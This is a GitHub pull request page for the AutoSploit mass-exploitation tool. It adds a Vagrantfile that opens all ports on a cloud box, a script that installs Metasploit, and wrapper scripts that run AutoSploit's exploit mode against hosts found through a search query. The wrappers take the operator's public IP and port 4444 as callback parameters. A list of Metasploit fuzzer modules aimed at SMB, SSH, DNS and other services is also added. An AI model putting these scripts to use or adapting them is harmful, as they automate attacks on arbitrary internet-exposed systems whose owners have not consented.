-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Scripts to automate autosploit. #133
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Closed
Closed
Changes from all commits
Commits
Show all changes
10 commits
Select commit
Hold shift + click to select a range
680e509
Scripts to automate autosploit.
99c208f
Added a vagrant config to easily deploy autosploit to aws-lightsail.
1bac994
Fixed bash script args
db0db7f
Removed blocking MSF modules from default module list
6e01b92
Fixed bash script args (2)
1790c15
Fixed bash script args (2)
e1f8098
Merge branch 'dev-beta' of https://github.com/Selora/AutoSploit into …
46b3e89
Bugfix and improvements:
14153aa
Added a fuzzers-only json file
5d47234
More bugfixes:
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
# Use as a strating point to spin up a box in lightsail. | ||
# the vagrant-lightsail plugin is required | ||
# You probably also need to: | ||
# - Configure the ssh keys path | ||
# - Install and configure the aws-cli package | ||
|
||
Vagrant.configure('2') do |config| | ||
config.vm.synced_folder ".", "/vagrant", type: "rsync", | ||
rsync__exclude: ".git/", | ||
rsync__auto: true | ||
|
||
config.ssh.private_key_path = '/path/to/id_rsa' | ||
config.ssh.username = 'ubuntu' | ||
config.vm.box = 'lightsail' | ||
config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box' | ||
config.vm.hostname = 'autosploit-launcher' | ||
|
||
config.vm.provider :lightsail do |provider, override| | ||
provider.port_info = [{ from_port: 0, to_port: 65535, protocol: | ||
'all' }] | ||
provider.keypair_name = 'id_rsa' | ||
provider.bundle_id = 'small_1_0' | ||
end | ||
|
||
config.vm.provision "bootstrap", type: "shell", run: "once" do |s| | ||
s.path = "./bootstrap/bootstrap.sh" | ||
end | ||
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
#!/usr/bin/env bash | ||
|
||
|
||
echo "Yolosploit configurator 2.42" | ||
sudo apt-get --yes update | ||
sudo apt-get --yes upgrade | ||
|
||
echo "Installing metasploit. BE PATIENT (5 min max?)" | ||
wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run | ||
chmod +x metasploit-latest-linux-x64-installer.run | ||
sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended | ||
|
||
echo "Installing pyhton2" | ||
sudo apt-get --yes install python python-pip python-virtualenv git | ||
|
||
sudo apt-get --yes install fish | ||
sudo chsh -s /usr/bin/fish ubuntu | ||
|
||
cd ~ | ||
git clone https://github.com/NullArray/AutoSploit |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
#!/usr/bin/env bash | ||
|
||
|
||
if [[ $# -lt 2 ]]; then | ||
echo "Syntax:" | ||
echo -e "\t./dryrun_autosploit.sh <whitelist.txt> <search_query>" | ||
exit 1 | ||
fi | ||
|
||
WHITELIST=$1 | ||
SEARCH_QUERY=$2 | ||
LPORT=4444 | ||
|
||
LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` | ||
TIMESTAMP=`date +%s` | ||
|
||
|
||
echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite \ | ||
--whitelist $WHITELIST -e \ | ||
-C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT \ | ||
--exploit-file-to-use etc/json/default_modules.json \ | ||
--dry-run" | ||
|
||
python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite \ | ||
--whitelist $WHITELIST -e \ | ||
-C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT \ | ||
--exploit-file-to-use etc/json/default_modules.json \ | ||
--dry-run |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
{ | ||
"exploits": [ | ||
"auxiliary/fuzzers/dns/dns_fuzzer", | ||
"auxiliary/fuzzers/ftp/client_ftp", | ||
"auxiliary/fuzzers/ftp/ftp_pre_post", | ||
"auxiliary/fuzzers/http/http_form_field", | ||
"auxiliary/fuzzers/http/http_get_uri_long", | ||
"auxiliary/fuzzers/http/http_get_uri_strings", | ||
"auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", | ||
"auxiliary/fuzzers/smb/smb2_negotiate_corrupt", | ||
"auxiliary/fuzzers/smb/smb_create_pipe", | ||
"auxiliary/fuzzers/smb/smb_create_pipe_corrupt", | ||
"auxiliary/fuzzers/smb/smb_negotiate_corrupt ", | ||
"auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", | ||
"auxiliary/fuzzers/smb/smb_tree_connect", | ||
"auxiliary/fuzzers/smb/smb_tree_connect_corrupt", | ||
"auxiliary/fuzzers/smtp/smtp_fuzzer", | ||
"auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", | ||
"auxiliary/fuzzers/ssh/ssh_version_15", | ||
"auxiliary/fuzzers/ssh/ssh_version_2", | ||
"auxiliary/fuzzers/ssh/ssh_version_corrupt", | ||
"auxiliary/fuzzers/tds/tds_login_corrupt", | ||
"auxiliary/fuzzers/tds/tds_login_username" | ||
] | ||
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
#!/usr/bin/env bash | ||
|
||
|
||
if [[ $# -lt 2 ]]; then | ||
echo "Syntax:" | ||
echo -e "\t./run_autosploit.sh <whitelist.txt> <exposed_lport>" | ||
exit 1 | ||
fi | ||
|
||
WHITELIST=$1 | ||
LPORT=$2 | ||
|
||
LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` | ||
TIMESTAMP=`date +%s` | ||
|
||
python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Need a Vagrant run in the README, set that up real quick
Uh oh!
There was an error while loading. Please reload this page.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can I leave this to you? I'm just putting this as-is, I do not intend to make it useful nor to explain my setup.
That's what I used as a dev environment, I'm just putting this in case somebody would be interested.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I have no idea how vagrant works, so we'll just add an issue about it I guess